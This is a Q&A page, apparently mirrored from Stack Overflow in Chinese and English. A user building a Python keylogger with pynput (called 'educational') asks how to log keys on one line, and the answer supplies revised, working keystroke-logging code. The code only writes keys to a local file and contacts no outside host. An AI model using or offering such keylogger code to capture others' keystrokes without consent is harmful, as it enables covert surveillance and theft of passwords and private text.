【问题标题】:How to make it so that each letter is not in a separate line如何使每个字母不在单独的行中
【发布时间】:2019-09-01 14:50:42
【问题描述】:

我正在尝试制作键盘记录器 (仅用于教育目的) 它目前正在工作,但它将每个键放在单独的行中。 我想要它以便只记录输出而不是逐个字母 无论如何,这是代码。我需要编辑什么?我似乎找不到任何答案..

from pynput.keyboard import Key, Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format="%(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()   

它不是那么大,但我仍然无法弄清楚如何制作它,以便输出不会像这样在单独的行中: https://prntscr.com/p0cmin

【问题讨论】:

标签: python python-3.x


【解决方案1】:
def main():

    from pynput.keyboard import Listener
    from pathlib import Path
    import logging

    log_path = Path("./key_log.txt")

    logging.basicConfig(
        filename=log_path,
        level=logging.DEBUG,
        format=("%(message)s"),
    )

    root_logger = logging.getLogger()
    root_handler = root_logger.handlers[0]
    root_handler.terminator = ""

    def on_press(key):
        key = str(key).strip("'")
        logging.info(key)

    with Listener(on_press=on_press) as listener:
        listener.join()    

    return 0


if __name__ == "__main__":
    import sys
    sys.exit(main())

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2013-10-04
    • 1970-01-01
    • 2023-02-11
    • 1970-01-01
    • 2014-08-11
    • 2017-02-13
    • 1970-01-01
    相关资源
    最近更新 更多